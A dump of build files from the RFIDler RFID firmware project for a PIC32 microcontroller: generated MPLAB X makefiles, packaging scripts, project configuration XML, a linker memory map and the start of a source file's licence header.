@${FIXDEPS} "${OBJECTDIR}/src/analogue.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/analogue.o.d" -o ${OBJECTDIR}/src/analogue.o src/analogue.c
${OBJECTDIR}/src/iso7816.o: src/iso7816.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/iso7816.o.d
@${RM} ${OBJECTDIR}/src/iso7816.o
@${FIXDEPS} "${OBJECTDIR}/src/iso7816.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/iso7816.o.d" -o ${OBJECTDIR}/src/iso7816.o src/iso7816.c
${OBJECTDIR}/src/t55x7.o: src/t55x7.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/t55x7.o.d
@${RM} ${OBJECTDIR}/src/t55x7.o
@${FIXDEPS} "${OBJECTDIR}/src/t55x7.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/t55x7.o.d" -o ${OBJECTDIR}/src/t55x7.o src/t55x7.c
${OBJECTDIR}/src/sniff.o: src/sniff.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/sniff.o.d
@${RM} ${OBJECTDIR}/src/sniff.o
@${FIXDEPS} "${OBJECTDIR}/src/sniff.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/sniff.o.d" -o ${OBJECTDIR}/src/sniff.o src/sniff.c
${OBJECTDIR}/src/tamagotchi.o: src/tamagotchi.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/tamagotchi.o.d
@${RM} ${OBJECTDIR}/src/tamagotchi.o
@${FIXDEPS} "${OBJECTDIR}/src/tamagotchi.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/tamagotchi.o.d" -o ${OBJECTDIR}/src/tamagotchi.o src/tamagotchi.c
${OBJECTDIR}/src/hdx.o: src/hdx.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hdx.o.d
@${RM} ${OBJECTDIR}/src/hdx.o
@${FIXDEPS} "${OBJECTDIR}/src/hdx.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hdx.o.d" -o ${OBJECTDIR}/src/hdx.o src/hdx.c
${OBJECTDIR}/src/hitag2crack.o: src/hitag2crack.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hitag2crack.o.d
@${RM} ${OBJECTDIR}/src/hitag2crack.o
@${FIXDEPS} "${OBJECTDIR}/src/hitag2crack.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hitag2crack.o.d" -o ${OBJECTDIR}/src/hitag2crack.o src/hitag2crack.c
${OBJECTDIR}/src/paxton.o: src/paxton.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/paxton.o.d
@${RM} ${OBJECTDIR}/src/paxton.o
@${FIXDEPS} "${OBJECTDIR}/src/paxton.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/paxton.o.d" -o ${OBJECTDIR}/src/paxton.o src/paxton.c
endif
# ------------------------------------------------------------------------------------
# Rules for buildStep: compileCPP
ifeq ($(TYPE_IMAGE), DEBUG_RUN)
else
endif
# ------------------------------------------------------------------------------------
# Rules for buildStep: link
ifeq ($(TYPE_IMAGE), DEBUG_RUN)
dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}: ${OBJECTFILES} nbproject/Makefile-${CND_CONF}.mk /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a
@${MKDIR} dist/${CND_CONF}/${IMAGE_TYPE}
${MP_CC} $(MP_EXTRA_LD_PRE) -mdebugger -D__MPLAB_DEBUGGER_PK3=1 -mprocessor=$(MP_PROCESSOR_OPTION) -o dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX} ${OBJECTFILES_QUOTED_IF_SPACED} /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a -mreserve=boot@0x1FC02000:0x1FC02FEF -mreserve=boot@0x1FC02000:0x1FC024FF -Wl,--defsym=__MPLAB_BUILD=1$(MP_EXTRA_LD_POST)$(MP_LINKER_FILE_OPTION),--defsym=__MPLAB_DEBUG=1,--defsym=__DEBUG=1,--defsym=__MPLAB_DEBUGGER_PK3=1,--memorysummary,dist/${CND_CONF}/${IMAGE_TYPE}/memoryfile.xml
else
dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}: ${OBJECTFILES} nbproject/Makefile-${CND_CONF}.mk /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a
@${MKDIR} dist/${CND_CONF}/${IMAGE_TYPE}
${MP_CC} $(MP_EXTRA_LD_PRE) -mprocessor=$(MP_PROCESSOR_OPTION) -o dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${DEBUGGABLE_SUFFIX} ${OBJECTFILES_QUOTED_IF_SPACED} /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a -Wl,--defsym=__MPLAB_BUILD=1$(MP_EXTRA_LD_POST)$(MP_LINKER_FILE_OPTION),--memorysummary,dist/${CND_CONF}/${IMAGE_TYPE}/memoryfile.xml
${MP_CC_DIR}/xc32-bin2hex dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${DEBUGGABLE_SUFFIX}
endif
# Subprojects
.build-subprojects:
# Subprojects
.clean-subprojects:
# Clean Targets
.clean-conf: ${CLEAN_SUBPROJECTS}
${RM} -r build/default
${RM} -r dist/default
# Enable dependency checking
.dep.inc: .depcheck-impl
DEPFILES=$(shell "${PATH_TO_IDE_BIN}"mplabwildcard ${POSSIBLE_DEPFILES})
ifneq (${DEPFILES},)
include ${DEPFILES}
endif
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/Makefile-genesis.properties
================================================
#
#Fri Sep 22 21:12:14 BST 2017
default.languagetoolchain.version=1.40
debug.com-microchip-mplab-nbide-toolchainXC32-XC32LanguageToolchain.md5=7c6f696c4b3352f7d84fe1d22087e24a
conf.ids=default,debug
default.languagetoolchain.dir=/opt/microchip/xc32/v1.40/bin
debug.languagetoolchain.dir=/opt/microchip/xc32/v1.40/bin
configurations-xml=aa7855d6937d27bb649481550b84a84e
default.com-microchip-mplab-nbide-toolchainXC32-XC32LanguageToolchain.md5=7c6f696c4b3352f7d84fe1d22087e24a
com-microchip-mplab-nbide-embedded-makeproject-MakeProject.md5=86cd07c925781d185dcd90a0ee6d03fc
debug.languagetoolchain.version=1.40
host.platform=linux
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/Makefile-impl.mk
================================================
#
# Generated Makefile - do not edit!
#
# Edit the Makefile in the project folder instead (../Makefile). Each target
# has a pre- and a post- target defined where you can add customization code.
#
# This makefile implements macros and targets common to all configurations.
#
# NOCDDL
# Building and Cleaning subprojects are done by default, but can be controlled with the SUB
# macro. If SUB=no, subprojects will not be built or cleaned. The following macro
# statements set BUILD_SUB-CONF and CLEAN_SUB-CONF to .build-reqprojects-conf
# and .clean-reqprojects-conf unless SUB has the value 'no'
SUB_no=NO
SUBPROJECTS=${SUB_${SUB}}
BUILD_SUBPROJECTS_=.build-subprojects
BUILD_SUBPROJECTS_NO=
BUILD_SUBPROJECTS=${BUILD_SUBPROJECTS_${SUBPROJECTS}}
CLEAN_SUBPROJECTS_=.clean-subprojects
CLEAN_SUBPROJECTS_NO=
CLEAN_SUBPROJECTS=${CLEAN_SUBPROJECTS_${SUBPROJECTS}}
# Project Name
PROJECTNAME=RFIDler.X
# Active Configuration
DEFAULTCONF=debug
CONF=${DEFAULTCONF}
# All Configurations
ALLCONFS=default debug
# build
.build-impl: .build-pre
${MAKE} -f nbproject/Makefile-${CONF}.mk SUBPROJECTS=${SUBPROJECTS} .build-conf
# clean
.clean-impl: .clean-pre
${MAKE} -f nbproject/Makefile-${CONF}.mk SUBPROJECTS=${SUBPROJECTS} .clean-conf
# clobber
.clobber-impl: .clobber-pre .depcheck-impl
${MAKE} SUBPROJECTS=${SUBPROJECTS} CONF=default clean
${MAKE} SUBPROJECTS=${SUBPROJECTS} CONF=debug clean
# all
.all-impl: .all-pre .depcheck-impl
${MAKE} SUBPROJECTS=${SUBPROJECTS} CONF=default build
${MAKE} SUBPROJECTS=${SUBPROJECTS} CONF=debug build
# dependency checking support
.depcheck-impl:
# @echo "# This code depends on make tool being used" >.dep.inc
# @if [ -n "${MAKE_VERSION}" ]; then \
# echo "DEPFILES=\$$(wildcard \$$(addsuffix .d, \$${OBJECTFILES}))" >>.dep.inc; \
# echo "ifneq (\$${DEPFILES},)" >>.dep.inc; \
# echo "include \$${DEPFILES}" >>.dep.inc; \
# echo "endif" >>.dep.inc; \
# else \
# echo ".KEEP_STATE:" >>.dep.inc; \
# echo ".KEEP_STATE_FILE:.make.state.\$${CONF}" >>.dep.inc; \
# fi
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/Makefile-local-debug.mk
================================================
#
# Generated Makefile - do not edit!
#
#
# This file contains information about the location of compilers and other tools.
# If you commmit this file into your revision control server, you will be able to
# to checkout the project and build it from the command line with make. However,
# if more than one person works on the same project, then this file might show
# conflicts since different users are bound to have compilers in different places.
# In that case you might choose to not commit this file and let MPLAB X recreate this file
# for each user. The disadvantage of not commiting this file is that you must run MPLAB X at
# least once so the file gets created and the project can be built. Finally, you can also
# avoid using this file at all if you are only building from the command line with make.
# You can invoke make with the values of the macros:
# $ makeMP_CC="/opt/microchip/mplabc30/v3.30c/bin/pic30-gcc" ...
#
PATH_TO_IDE_BIN=/opt/microchip/mplabx/v3.20/mplab_ide/mplab_ide/modules/../../bin/
# Adding MPLAB X bin directory to path.
PATH:=/opt/microchip/mplabx/v3.20/mplab_ide/mplab_ide/modules/../../bin/:$(PATH)
# Path to java used to run MPLAB X when this makefile was created
MP_JAVA_PATH="/opt/microchip/mplabx/v3.20/sys/java/jre1.8.0_65/bin/"
OS_CURRENT="$(shell uname -s)"
MP_CC="/opt/microchip/xc32/v1.40/bin/xc32-gcc"
MP_CPPC="/opt/microchip/xc32/v1.40/bin/xc32-g++"
# MP_BC is not defined
MP_AS="/opt/microchip/xc32/v1.40/bin/xc32-as"
MP_LD="/opt/microchip/xc32/v1.40/bin/xc32-ld"
MP_AR="/opt/microchip/xc32/v1.40/bin/xc32-ar"
DEP_GEN=${MP_JAVA_PATH}java -jar "/opt/microchip/mplabx/v3.20/mplab_ide/mplab_ide/modules/../../bin/extractobjectdependencies.jar"
MP_CC_DIR="/opt/microchip/xc32/v1.40/bin"
MP_CPPC_DIR="/opt/microchip/xc32/v1.40/bin"
# MP_BC_DIR is not defined
MP_AS_DIR="/opt/microchip/xc32/v1.40/bin"
MP_LD_DIR="/opt/microchip/xc32/v1.40/bin"
MP_AR_DIR="/opt/microchip/xc32/v1.40/bin"
# MP_BC_DIR is not defined
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/Makefile-local-default.mk
================================================
#
# Generated Makefile - do not edit!
#
#
# This file contains information about the location of compilers and other tools.
# If you commmit this file into your revision control server, you will be able to
# to checkout the project and build it from the command line with make. However,
# if more than one person works on the same project, then this file might show
# conflicts since different users are bound to have compilers in different places.
# In that case you might choose to not commit this file and let MPLAB X recreate this file
# for each user. The disadvantage of not commiting this file is that you must run MPLAB X at
# least once so the file gets created and the project can be built. Finally, you can also
# avoid using this file at all if you are only building from the command line with make.
# You can invoke make with the values of the macros:
# $ makeMP_CC="/opt/microchip/mplabc30/v3.30c/bin/pic30-gcc" ...
#
PATH_TO_IDE_BIN=/opt/microchip/mplabx/v3.20/mplab_ide/mplab_ide/modules/../../bin/
# Adding MPLAB X bin directory to path.
PATH:=/opt/microchip/mplabx/v3.20/mplab_ide/mplab_ide/modules/../../bin/:$(PATH)
# Path to java used to run MPLAB X when this makefile was created
MP_JAVA_PATH="/opt/microchip/mplabx/v3.20/sys/java/jre1.8.0_65/bin/"
OS_CURRENT="$(shell uname -s)"
MP_CC="/opt/microchip/xc32/v1.40/bin/xc32-gcc"
MP_CPPC="/opt/microchip/xc32/v1.40/bin/xc32-g++"
# MP_BC is not defined
MP_AS="/opt/microchip/xc32/v1.40/bin/xc32-as"
MP_LD="/opt/microchip/xc32/v1.40/bin/xc32-ld"
MP_AR="/opt/microchip/xc32/v1.40/bin/xc32-ar"
DEP_GEN=${MP_JAVA_PATH}java -jar "/opt/microchip/mplabx/v3.20/mplab_ide/mplab_ide/modules/../../bin/extractobjectdependencies.jar"
MP_CC_DIR="/opt/microchip/xc32/v1.40/bin"
MP_CPPC_DIR="/opt/microchip/xc32/v1.40/bin"
# MP_BC_DIR is not defined
MP_AS_DIR="/opt/microchip/xc32/v1.40/bin"
MP_LD_DIR="/opt/microchip/xc32/v1.40/bin"
MP_AR_DIR="/opt/microchip/xc32/v1.40/bin"
# MP_BC_DIR is not defined
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/Makefile-variables.mk
================================================
#
# Generated - do not edit!
#
# NOCDDL
#
CND_BASEDIR=`pwd`
# default configuration
CND_ARTIFACT_DIR_default=dist/default/production
CND_ARTIFACT_NAME_default=RFIDler.X.production.hex
CND_ARTIFACT_PATH_default=dist/default/production/RFIDler.X.production.hex
CND_PACKAGE_DIR_default=${CND_DISTDIR}/default/package
CND_PACKAGE_NAME_default=rfidler.x.tar
CND_PACKAGE_PATH_default=${CND_DISTDIR}/default/package/rfidler.x.tar
# debug configuration
CND_ARTIFACT_DIR_debug=dist/debug/production
CND_ARTIFACT_NAME_debug=RFIDler.X.production.hex
CND_ARTIFACT_PATH_debug=dist/debug/production/RFIDler.X.production.hex
CND_PACKAGE_DIR_debug=${CND_DISTDIR}/debug/package
CND_PACKAGE_NAME_debug=rfidler.x.tar
CND_PACKAGE_PATH_debug=${CND_DISTDIR}/debug/package/rfidler.x.tar
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/Package-debug.bash
================================================
#!/bin/bash -x
#
# Generated - do not edit!
#
# Macros
TOP=`pwd`
CND_CONF=debug
CND_DISTDIR=dist
TMPDIR=build/${CND_CONF}/${IMAGE_TYPE}/tmp-packaging
TMPDIRNAME=tmp-packaging
OUTPUT_PATH=dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}
OUTPUT_BASENAME=RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}
PACKAGE_TOP_DIR=rfidler.x/
# Functions
function checkReturnCode
{
rc=$?
if [ $rc != 0 ]
then
exit $rc
fi
}
function makeDirectory
# $1 directory path
# $2 permission (optional)
{
mkdir -p "$1"
checkReturnCode
if [ "$2" != "" ]
then
chmod $2 "$1"
checkReturnCode
fi
}
function copyFileToTmpDir
# $1 from-file path
# $2 to-file path
# $3 permission
{
cp "$1" "$2"
checkReturnCode
if [ "$3" != "" ]
then
chmod $3 "$2"
checkReturnCode
fi
}
# Setup
cd "${TOP}"
mkdir -p ${CND_DISTDIR}/${CND_CONF}/package
rm -rf ${TMPDIR}
mkdir -p ${TMPDIR}
# Copy files and create directories and links
cd "${TOP}"
makeDirectory ${TMPDIR}/rfidler.x/bin
copyFileToTmpDir "${OUTPUT_PATH}" "${TMPDIR}/${PACKAGE_TOP_DIR}bin/${OUTPUT_BASENAME}" 0755
# Generate tar file
cd "${TOP}"
rm -f ${CND_DISTDIR}/${CND_CONF}/package/rfidler.x.tar
cd ${TMPDIR}
tar -vcf ../../../../${CND_DISTDIR}/${CND_CONF}/package/rfidler.x.tar *
checkReturnCode
# Cleanup
cd "${TOP}"
rm -rf ${TMPDIR}
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/Package-default.bash
================================================
#!/bin/bash -x
#
# Generated - do not edit!
#
# Macros
TOP=`pwd`
CND_CONF=default
CND_DISTDIR=dist
TMPDIR=build/${CND_CONF}/${IMAGE_TYPE}/tmp-packaging
TMPDIRNAME=tmp-packaging
OUTPUT_PATH=dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}
OUTPUT_BASENAME=RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}
PACKAGE_TOP_DIR=rfidler.x/
# Functions
function checkReturnCode
{
rc=$?
if [ $rc != 0 ]
then
exit $rc
fi
}
function makeDirectory
# $1 directory path
# $2 permission (optional)
{
mkdir -p "$1"
checkReturnCode
if [ "$2" != "" ]
then
chmod $2 "$1"
checkReturnCode
fi
}
function copyFileToTmpDir
# $1 from-file path
# $2 to-file path
# $3 permission
{
cp "$1" "$2"
checkReturnCode
if [ "$3" != "" ]
then
chmod $3 "$2"
checkReturnCode
fi
}
# Setup
cd "${TOP}"
mkdir -p ${CND_DISTDIR}/${CND_CONF}/package
rm -rf ${TMPDIR}
mkdir -p ${TMPDIR}
# Copy files and create directories and links
cd "${TOP}"
makeDirectory ${TMPDIR}/rfidler.x/bin
copyFileToTmpDir "${OUTPUT_PATH}" "${TMPDIR}/${PACKAGE_TOP_DIR}bin/${OUTPUT_BASENAME}" 0755
# Generate tar file
cd "${TOP}"
rm -f ${CND_DISTDIR}/${CND_CONF}/package/rfidler.x.tar
cd ${TMPDIR}
tar -vcf ../../../../${CND_DISTDIR}/${CND_CONF}/package/rfidler.x.tar *
checkReturnCode
# Cleanup
cd "${TOP}"
rm -rf ${TMPDIR}
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/configurations.xml
================================================
../../../datasheets/PIC32MX5XX6XX7XX.pdf../../../README.mdinclude/HardwareProfile.hinclude/indala.hinclude/psk.hinclude/usb_config.hinclude/util.hinclude/emulate.hinclude/ask.hinclude/fsk.hinclude/rfidler.hinclude/clock.hinclude/rwd.hinclude/detect.hinclude/hitagcrypto.hinclude/wiegand.hinclude/comms.hinclude/nvm.hinclude/mcp414x.hinclude/spi.hinclude/uart3.hinclude/tags.hinclude/unique.hinclude/led.hinclude/em.hinclude/hid.hinclude/read.hinclude/auto.hinclude/fdxb.hinclude/hitag.hinclude/uid.hinclude/login.hinclude/write.hinclude/auth.hinclude/q5.hinclude/vtag.hinclude/config.hinclude/select.hinclude/sc_config.hinclude/sdcard.hinclude/FSconfig.hinclude/debug_pins.hinclude/awid.hinclude/analogue.hinclude/iso_7816.hinclude/t55x7.hinclude/sniff.hinclude/tamagotchi.hinclude/hdx.hinclude/hitag2crack.hinclude/paxton.hprocdefs.ld../../../linux-support/71-rfidler-lf-cdc-blacklist.rules/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.csrc/indala.csrc/main.csrc/psk.csrc/usb_descriptors.csrc/util.csrc/emulate.csrc/ask.csrc/fsk.csrc/clock.csrc/rwd.csrc/detect.csrc/hitagcrypto.csrc/wiegand.csrc/comms.csrc/nvm.csrc/mcp414x.csrc/spi.csrc/uart3.csrc/tags.csrc/unique.csrc/led.csrc/em.csrc/hid.csrc/read.csrc/isr.csrc/auto.csrc/fdxb.csrc/hitag.csrc/uid.csrc/login.csrc/write.csrc/auth.csrc/q5.csrc/vtag.csrc/config.csrc/select.csrc/sdcard.csrc/debug_pins.csrc/awid.csrc/analogue.csrc/iso7816.csrc/t55x7.csrc/sniff.csrc/tamagotchi.csrc/hdx.csrc/hitag2crack.csrc/paxton.c../../../windows driver/inf/rfidlercdc.cat../../../windows driver/inf/rfidlercdc.infMakefile.../windows driver../../../datasheets/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USBMakefilelocalhostPIC32MX795F512LPK3OBPlatformToolXC321.402/opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.afalsefalsefalsefalsefalsefalsefalselocalhostPIC32MX795F512LPICkit3PlatformToolXC321.402/opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.afalsetruefalsefalsefalsefalsefalse
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/private/configurations.xml
================================================
Makefile1/opt/microchip/xc32/v1.40/binplace holder 1place holder 2true000/opt/microchip/xc32/v1.40/binplace holder 1place holder 2true000
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/private/private.xml
================================================
file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/em.hfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/hitag.hfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/rfidler.hfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/main.cfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/emulate.cfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/q5.hfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/vtag.cfile:/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart%20Card/SCpic32.cfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/util.hfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/tags.cfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/paxton.cfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/t55x7.cfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/unique.cfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/tags.hfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/em.cfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/uid.cfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/q5.cfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/util.cfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/unique.hfile:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/t55x7.h
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/project.properties
================================================
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/project.xml
================================================
com.microchip.mplab.nbide.embedded.makeprojectRFIDler1b02b4c3-b74e-47ce-8459-c4fadd4fa09d0chISO-8859-1
================================================
FILE: firmware/Pic32/RFIDler.X/procdefs.ld
================================================
/*************************************************************************
* Processor-specific object file. Contains SFR definitions.
*************************************************************************/
INPUT("processor.o")
_ramfunc_begin = 0;
/*************************************************************************
* For interrupt vector handling
*************************************************************************/
PROVIDE(_vector_spacing = 0x00000001);
_ebase_address = 0x9D005000;
/*************************************************************************
* Memory Address Equates
*************************************************************************/
_RESET_ADDR = 0x9D006000;
_BEV_EXCPT_ADDR = 0x9D006380;
_DBG_EXCPT_ADDR = 0x9D006480;
_DBG_CODE_ADDR = 0xBFC02000;
_DBG_CODE_SIZE = 0xFF0 ;
_GEN_EXCPT_ADDR = _ebase_address + 0x180;
/*************************************************************************
* Memory Regions
*
* Memory regions without attributes cannot be used for orphaned sections.
* Only sections specifically assigned to these regions can be allocated
* into these regions.
*************************************************************************/
MEMORY
{
kseg0_program_mem (rx) : ORIGIN = 0x9D006E00, LENGTH = 0x79200
kseg0_boot_mem : ORIGIN = 0x9D006490, LENGTH = 0x970
exception_mem : ORIGIN = 0x9D005000, LENGTH = 0x1000
kseg1_boot_mem : ORIGIN = 0x9D006000, LENGTH = 0x490
debug_exec_mem : ORIGIN = 0xBFC02000, LENGTH = 0xFF0
config3 : ORIGIN = 0xBFC02FF0, LENGTH = 0x4
config2 : ORIGIN = 0xBFC02FF4, LENGTH = 0x4
config1 : ORIGIN = 0xBFC02FF8, LENGTH = 0x4
config0 : ORIGIN = 0xBFC02FFC, LENGTH = 0x4
boot_software_key : ORIGIN = 0xA0000000, LENGTH = 0x4
kseg1_data_mem (w!x) : ORIGIN = 0xA0000004, LENGTH = 0x7F00
sfrs : ORIGIN = 0xBF800000, LENGTH = 0x100000
configsfrs : ORIGIN = 0xBFC02FF0, LENGTH = 0x10
}
SECTIONS
{
.boot_software_key : {
KEEP(*(.boot_software_key))
} > boot_software_key
.config_BFC02FF0 : {
KEEP(*(.config_BFC02FF0))
} > config3
.config_BFC02FF4 : {
KEEP(*(.config_BFC02FF4))
} > config2
.config_BFC02FF8 : {
KEEP(*(.config_BFC02FF8))
} > config1
.config_BFC02FFC : {
KEEP(*(.config_BFC02FFC))
} > config0
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/analogue.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
